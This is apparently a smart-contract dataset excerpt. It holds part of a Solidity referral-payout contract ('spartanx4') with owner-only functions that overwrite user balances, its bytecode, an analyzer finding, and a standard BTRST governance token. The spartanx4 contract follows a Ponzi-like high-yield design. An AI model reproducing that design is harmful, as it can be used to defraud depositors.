}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
// Pool payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
// Match payout
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
payable(msg.sender).transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function drawPool() external onlyOwner {
_drawPool();
}
function pause() external onlyOwner {
_pause();
}
function unpause() external onlyOwner {
_unpause();
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount * 40 / 10;
}
function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) { //if he has not gotten up to the max 400% yet on his deposit payout so far, let this line run
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 50) - users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
}
/*
Only external call
*/
function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure);
}
function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider) {
return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]]);
}
function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
}
contract Sync is spartanx4 {
bool public sync_close = false;
function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner {
require(!sync_close, "Sync already closed");
for(uint256 i = 0; i < _users.length; i++) {
address addr = _users[i];
uint256 q = i * 12;
if(users[addr].total_deposits == 0) {
emit Upline(addr, _uplines[i]);
}
users[addr].cycle = _data[q];
users[addr].upline = _uplines[i];
users[addr].referrals = _data[q + 1];
users[addr].payouts = _data[q + 2];
users[addr].direct_bonus = _data[q + 3];
users[addr].pool_bonus = _data[q + 4];
users[addr].match_bonus = _data[q + 5];
users[addr].deposit_amount = _data[q + 6];
users[addr].deposit_payouts = _data[q + 7];
users[addr].deposit_time = uint40(_data[q + 8]);
users[addr].total_deposits = _data[q + 9];
users[addr].total_payouts = _data[q + 10];
users[addr].total_structure = _data[q + 11];
}
}
function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner {
require(!sync_close, "Sync already close");
pool_last_draw = _pool_last_draw;
pool_cycle = _pool_cycle;
pool_balance = _pool_balance;
total_withdraw = _total_withdraw;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = _pool_top[i];
}
}
function syncUp() external payable {}
function syncClose() external onlyOwner {
require(!sync_close, "Sync already close");
sync_close = true;
}
}
|
0x6080604052600436106101d15760003560e01c80638456cb59116100f7578063a9c3ac5311610095578063c864130f11610064578063c864130f1461078c578063e7204ffb146107b9578063f2fde38b146107ce578063f340fa011461080157610234565b8063a9c3ac5314610684578063afbce3b9146106fd578063b7d9f0d214610727578063c662c1d41461075157610234565b8063970d106f116100d1578063970d106f146105845780639a8318f414610599578063a1983416146105ae578063a87430ba146105dd57610234565b80638456cb59146105305780638959af3c146105455780638da5cb5b1461056f57610234565b80633ccfd60b1161016f5780636da61d1e1161013e5780636da61d1e1461043d578063715018a61461048957806374a88b8b1461049e57806374b95b2d146104d757610234565b80633ccfd60b146103aa5780633f4ba83a146103bf5780635c975abb146103d45780636d5f6f11146103fd57610234565b80631959a002116101ab5780631959a002146102b65780631a975376146103315780632b68b9c614610362578063375e5c6c1461037757610234565b806315c43aaf146102395780631818b1e31461027a578063192ef492146102a157610234565b3661023457600154600160a01b900460ff1615610228576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6102323334610827565b005b600080fd5b34801561024557600080fd5b5061024e610be9565b6040805194855264ffffffffff9093166020850152838301919091526060830152519081900360800190f35b34801561028657600080fd5b5061028f610c49565b60408051918252519081900360200190f35b3480156102ad57600080fd5b5061028f610c4f565b3480156102c257600080fd5b506102e9600480360360208110156102d957600080fd5b50356001600160a01b0316610c55565b604080516001600160a01b03909816885264ffffffffff9096166020880152868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561033d57600080fd5b50610346610cac565b604080516001600160a01b039092168252519081900360200190f35b34801561036e57600080fd5b50610232610cbb565b34801561038357600080fd5b506102326004803603602081101561039a57600080fd5b50356001600160a01b0316610d28565b3480156103b657600080fd5b50610232610da9565b3480156103cb57600080fd5b50610232611238565b3480156103e057600080fd5b506103e9611296565b604080519115158252519081900360200190f35b34801561040957600080fd5b506104276004803603602081101561042057600080fd5b50356112a6565b6040805160ff9092168252519081900360200190f35b34801561044957600080fd5b506104706004803603602081101561046057600080fd5b50356001600160a01b03166112d7565b6040805192835260208301919091528051918290030190f35b34801561049557600080fd5b506102326113f9565b3480156104aa57600080fd5b5061028f600480360360408110156104c157600080fd5b50803590602001356001600160a01b0316611497565b3480156104e357600080fd5b5061050a600480360360208110156104fa57600080fd5b50356001600160a01b03166114b4565b604080519485526020850193909352838301919091526060830152519081900360800190f35b34801561053c57600080fd5b506102326114ea565b34801561055157600080fd5b5061028f6004803603602081101561056857600080fd5b5035611546565b34801561057b57600080fd5b50610346611552565b34801561059057600080fd5b5061028f611561565b3480156105a557600080fd5b5061028f611567565b3480156105ba57600080fd5b506105c361156d565b6040805164ffffffffff9092168252519081900360200190f35b3480156105e957600080fd5b506106106004803603602081101561060057600080fd5b50356001600160a01b031661157a565b604080519d8e526001600160a01b03909c1660208e01528c8c019a909a5260608c019890985260808b019690965260a08a019490945260c089019290925260e088015261010087015264ffffffffff1661012086015261014085015261016084015261018083015251908190036101a00190f35b34801561069057600080fd5b506106996115f2565b6040518083608080838360005b838110156106be5781810151838201526020016106a6565b5050505090500182600460200280838360005b838110156106e95781810151838201526020016106d1565b505050509050019250505060405180910390f35b34801561070957600080fd5b5061028f6004803603602081101561072057600080fd5b50356116c1565b34801561073357600080fd5b506104276004803603602081101561074a57600080fd5b50356116df565b34801561075d57600080fd5b506102326004803603604081101561077457600080fd5b506001600160a01b03813581169160200135166116ec565b34801561079857600080fd5b50610346600480360360208110156107af57600080fd5b503560ff16611840565b3480156107c557600080fd5b5061023261185b565b3480156107da57600080fd5b50610232600480360360208110156107f157600080fd5b50356001600160a01b03166118b7565b6102326004803603602081101561081757600080fd5b50356001600160a01b03166119ab565b6001600160a01b038281166000908152600260205260409020600101541615158061086a5750610855611552565b6001600160a01b0316826001600160a01b0316145b6108bb576040805162461bcd60e51b815260206004820152601d60248201527f4e6f2075706c696e652c20796f75206e65656420616e2075706c696e65000000604482015290519081900360640190fd5b6001600160a01b03821660009081526002602052604090206009015464ffffffffff166108ec57600c805460010190555b6001600160a01b03821660009081526002602052604090206009015464ffffffffff16156109eb576001600160a01b0382166000908152600260205260409020805460010181556007015481108015906109a85750600380546001600160a01b03841660009081526002602052604090205460001990910110610987576001600160a01b03831660009081526002602052604090205461098f565b600354600019015b8154811061099957fe5b90600052602060002001548111155b6109e6576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b610a59565b67016345785d8a00008110158015610a1b57506003600081548110610a0c57fe5b90600052602060002001548111155b610a59576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b6001600160a01b03821660008181526002602090815260408083206003810184905560078101869055600881019390935560098301805464ffffffffff19164264ffffffffff16179055600a909201805485019055815184815291517f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de3649281900390910190a26001600160a01b038281166000908152600260205260409020600101541615610b74576001600160a01b0382811660008181526002602090815260408083206001018054861684528184206004018054600a8904908101909155938590525481519384529051939416927fba5b08f0cddc64825b52c35c09323af810c1d2e29c97aba01a4ed25cfdc482d19281900390910190a35b610b7e8282611a14565b600654426201518064ffffffffff928316019091161015610ba157610ba1611c75565b610ba9611552565b6001600160a01b03166108fc606483049081150290604051600060405180830381858888f19350505050158015610be4573d6000803e3d6000fd5b505050565b600b5460065460085460075460009081526009602090815260408083207f13da86008ba1c6922daee3e07db95305ef49ebced9f5467a0b8613fcc6b343e3546001600160a01b0316845290915290205464ffffffffff9092169190919293565b600c5481565b60085481565b6001600160a01b039081166000908152600260205260409020600181015460098201546007830154600384015460048501546005860154600690960154949096169664ffffffffff90931695919490939192909190565b6001546001600160a01b031681565b6001546001600160a01b03163314610d1a576040805162461bcd60e51b815260206004820181905260248201527f4163636573732064656e69656420286f6e6c79206772616e64206f776e657229604482015290519081900360640190fd5b6001546001600160a01b0316ff5b6001546001600160a01b03163314610d87576040805162461bcd60e51b815260206004820181905260248201527f4163636573732064656e69656420286f6e6c79206772616e64206f776e657229604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600154600160a01b900460ff1615610dfb576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b604080516336d30e8f60e11b8152336004820152815160009283923092636da61d1e92602480840193919291829003018186803b158015610e3b57600080fd5b505afa158015610e4f573d6000803e3d6000fd5b505050506040513d6040811015610e6557600080fd5b50805160209182015133600090815260029093526040909220600301549093509091508111610edb576040805162461bcd60e51b815260206004820152601760248201527f7573657273207061796f75747320636f6d706c65746564000000000000000000604482015290519081900360640190fd5b8115610f4157336000908152600260205260409020600301548201811015610f155733600090815260026020526040902060030154810391505b33600081815260026020526040902060088101805485019055600301805484019055610f419083611dd4565b3360009081526002602052604090206003015481118015610f7357503360009081526002602052604090206004015415155b15610fdb5733600090815260026020526040902060048101546003909101548101821015610fb257503360009081526002602052604090206003015481035b336000908152600260205260409020600481018054839003905560030180548201905591909101905b336000908152600260205260409020600301548111801561100d57503360009081526002602052604090206005015415155b15611075573360009081526002602052604090206005810154600390910154810182101561104c57503360009081526002602052604090206003015481035b336000908152600260205260409020600581018054839003905560030180548201905591909101905b33600090815260026020526040902060030154811180156110a757503360009081526002602052604090206006015415155b1561110f57336000908152600260205260409020600681015460039091015481018210156110e657503360009081526002602052604090206003015481035b336000908152600260205260409020600681018054839003905560030180548201905591909101905b60008211611152576040805162461bcd60e51b815260206004820152600b60248201526a16995c9bc81c185e5bdd5d60aa1b604482015290519081900360640190fd5b33600081815260026020526040808220600b9081018054870190558054860190555184156108fc0291859190818181858888f1935050505015801561119b573d6000803e3d6000fd5b5060408051838152905133917f884edad9ce6fa2440d8a54cc123490eb96d2768479d49ff9c7366125a9424364919081900360200190a2336000908152600260205260409020600301548111611234573360008181526002602090815260409182902060030154825190815291517f97ddeb77c85e6a1dd99a34fe2bb1a4f9b211d5ffced7a707de9dbeb24363d0e49281900390910190a25b5050565b611240611f0b565b6000546001600160a01b0390811691161461128c5760405162461bcd60e51b81526004018080602001828103825260268152602001806120646026913960400191505060405180910390fd5b611294611f0f565b565b600154600160a01b900460ff1690565b600581815481106112b357fe5b9060005260206000209060209182820401919006915054906101000a900460ff1681565b6001600160a01b03811660009081526002602090815260408083206007015481516322566bcf60e21b81526004810191909152905183923092638959af3c9260248083019392829003018186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b50516001600160a01b0384166000908152600260205260409020600801549091508111156113f4576001600160a01b03831660009081526002602052604090206008810154600982015460079092015460326201518064ffffffffff9094164203939093040291909104819003925082018110156113f4576001600160a01b038316600090815260026020526040902060080154810391505b915091565b611401611f0b565b6000546001600160a01b0390811691161461144d5760405162461bcd60e51b81526004018080602001828103825260268152602001806120646026913960400191505060405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600960209081526000928352604080842090915290825290205481565b6001600160a01b0316600090815260026020819052604090912090810154600a820154600b830154600c90930154919390929190565b6114f2611f0b565b6000546001600160a01b0390811691161461153e5760405162461bcd60e51b81526004018080602001828103825260268152602001806120646026913960400191505060405180910390fd5b611294611fb7565b600a6028919091020490565b6000546001600160a01b031690565b60075481565b600b5481565b60065464ffffffffff1681565b600260208190526000918252604090912080546001820154928201546003830154600484015460058501546006860154600787015460088801546009890154600a8a0154600b8b0154600c909b0154999b6001600160a01b03169a989997989697959694959394929364ffffffffff9092169290918d565b6115fa612045565b611602612045565b60005b60055460ff821610156116bc5760ff81166000908152600a60205260409020546001600160a01b0316611637576116bc565b60ff81166000818152600a60205260409020546001600160a01b03169084906004811061166057fe5b6001600160a01b0392831660209182029290920191909152600754600090815260098252604080822060ff8616808452600a85528284205490951683529092522054908390600481106116af57fe5b6020020152600101611605565b509091565b600381815481106116ce57fe5b600091825260209091200154905081565b600481815481106112b357fe5b6001600160a01b03828116600090815260026020526040902060010154161580156117295750816001600160a01b0316816001600160a01b031614155b801561177857506001600160a01b03811660009081526002602052604090206009015464ffffffffff161515806117785750611763611552565b6001600160a01b0316816001600160a01b0316145b15611234576001600160a01b038281166000818152600260208190526040808320600190810180546001600160a01b03191696881696871790558584528184209092018054909201909155517f9f4d150e5193cfa9a87226111d3b60b624d97ccc056eeeac1569af1ea27bf6419190a360005b60045460ff82161015610be4576001600160a01b03821661180b57610be4565b6001600160a01b039182166000908152600260205260409020600c8101805460019081019091559081015490921691016117eb565b600a602052600090815260409020546001600160a01b031681565b611863611f0b565b6000546001600160a01b039081169116146118af5760405162461bcd60e51b81526004018080602001828103825260268152602001806120646026913960400191505060405180910390fd5b611294611c75565b6118bf611f0b565b6000546001600160a01b0390811691161461190b5760405162461bcd60e51b81526004018080602001828103825260268152602001806120646026913960400191505060405180910390fd5b6001600160a01b0381166119505760405162461bcd60e51b815260040180806020018281038252602c81526020018061208a602c913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600154600160a01b900460ff16156119fd576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b611a0733826116ec565b611a113334610827565b50565b60088054601483040190556001600160a01b038281166000908152600260205260409020600101541680611a485750611234565b60075460009081526009602090815260408083206001600160a01b038516845290915281208054840190555b60055460ff82161015611c6f5760ff81166000908152600a60205260409020546001600160a01b0383811691161415611aac57611c6f565b60ff81166000908152600a60205260409020546001600160a01b0316611afc5760ff81166000908152600a6020526040902080546001600160a01b0319166001600160a01b038416179055611c6f565b600754600090815260096020908152604080832060ff85168452600a8352818420546001600160a01b0390811685529252808320549185168352909120541115611c6757600181015b60055460ff82161015611bd95760ff81166000908152600a60205260409020546001600160a01b0384811691161415611bd157805b60055460ff821611611bcb5760ff600182018181166000908152600a6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b03909216919091179055611b7a565b50611bd9565b600101611b45565b50600554600019015b8160ff168160ff161115611c365760ff60001982018181166000908152600a6020526040808220549390941681529290922080546001600160a01b0319166001600160a01b03909216919091179055611be2565b5060ff81166000908152600a6020526040902080546001600160a01b0319166001600160a01b038416179055611c6f565b600101611a74565b50505050565b6006805464ffffffffff19164264ffffffffff16179055600780546001019055600854600a900460005b60055460ff82161015611d9b5760ff81166000908152600a60205260409020546001600160a01b0316611cd157611d9b565b6000606460058360ff1681548110611ce557fe5b60009182526020918290209181049091015460ff601f9092166101000a900416840281611d0e57fe5b60ff84166000818152600a6020818152604080842080546001600160a01b0390811686526002845282862060050180549990980498890190975560088054899003905594909352908152915481518581529151949550909216927fdbdfa5cb8586917247fbe7178cf53555d199e091a14b06f7de5a182ece2d453a9281900390910190a250600101611c9f565b5060005b60055460ff821610156112345760ff81166000908152600a6020526040902080546001600160a01b0319169055600101611d9f565b6001600160a01b03808316600090815260026020526040812060010154909116905b60045460ff82161015611c6f576001600160a01b038216611e1657611c6f565b6001600160a01b0382166000908152600260208190526040909120015460ff600183011611611ee2576000606460048360ff1681548110611e5357fe5b60009182526020918290209181049091015460ff601f9092166101000a900416850281611e7c57fe5b6001600160a01b03808616600081815260026020908152604091829020600601805496909504958601909455805185815290519495509189169390927f16e746f9be6c4b545700b04df27afb9fceabf59b94ef1c816e78a435059fabea928290030190a3505b6001600160a01b0391821660009081526002602052604090206001908101549092169101611df6565b3390565b600154600160a01b900460ff16611f64576040805162461bcd60e51b815260206004820152601460248201527314185d5cd8589b194e881b9bdd081c185d5cd95960621b604482015290519081900360640190fd5b6001805460ff60a01b191690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611f9a611f0b565b604080516001600160a01b039092168252519081900360200190a1565b600154600160a01b900460ff1615612009576040805162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b604482015290519081900360640190fd5b6001805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611f9a611f0b565b6040518060800160405280600490602082028036833750919291505056fe476f7665726e616e63653a2063616c6c6572206973206e6f742074686520476f7665726e6f72476f7665726e616e63653a206e657720476f7665726e6f7220697320746865207a65726f2061646472657373a26469706673582212200f8a2a871f00b84320378537c9acb54b99ef893ce738fb4400b2b0cfd5dc917a64736f6c63430006040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
| 7,704 |
0x799ebfABE77a6E34311eeEe9825190B9ECe32824
|
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract BTRST {
/// @notice EIP-20 token name for this token
string public constant name = "BTRST";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "BTRST";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 250000000e18; // 250 million BTRST
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new BTRST token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "BTRST::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "BTRST::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "BTRST::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "BTRST::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "BTRST::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "BTRST::delegateBySig: invalid nonce");
require(now <= expiry, "BTRST::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "BTRST::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "BTRST::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "BTRST::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "BTRST::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "BTRST::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "BTRST::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "BTRST::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "BTRST::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612866565b60405180910390f35b61015e6004803603610159919081019061214d565b61045c565b60405161016b9190612761565b60405180910390f35b61017c6105ee565b604051610189919061296a565b60405180910390f35b61019a6105fd565b6040516101a7919061277c565b60405180910390f35b6101ca60048036036101c591908101906120fe565b610614565b6040516101d79190612761565b60405180910390f35b6101e86108a6565b6040516101f591906129c9565b60405180910390f35b61021860048036036102139190810190612099565b6108ab565b6040516102259190612746565b60405180910390f35b61024860048036036102439190810190612099565b6108de565b005b610264600480360361025f9190810190612099565b6108eb565b6040516102719190612985565b60405180910390f35b610294600480360361028f9190810190612099565b61090e565b6040516102a1919061296a565b60405180910390f35b6102c460048036036102bf919081019061214d565b61097d565b6040516102d191906129ff565b60405180910390f35b6102f460048036036102ef9190810190612099565b610d90565b604051610301919061296a565b60405180910390f35b610312610da8565b60405161031f9190612866565b60405180910390f35b610342600480360361033d919081019061214d565b610de1565b60405161034f9190612761565b60405180910390f35b610372600480360361036d9190810190612099565b610e1e565b60405161037f91906129ff565b60405180910390f35b6103a2600480360361039d9190810190612189565b610f0c565b005b6103be60048036036103b991908101906120c2565b6111af565b6040516103cb919061296a565b60405180910390f35b6103dc61125b565b6040516103e9919061277c565b60405180910390f35b61040c60048036036104079190810190612212565b611272565b60405161041a929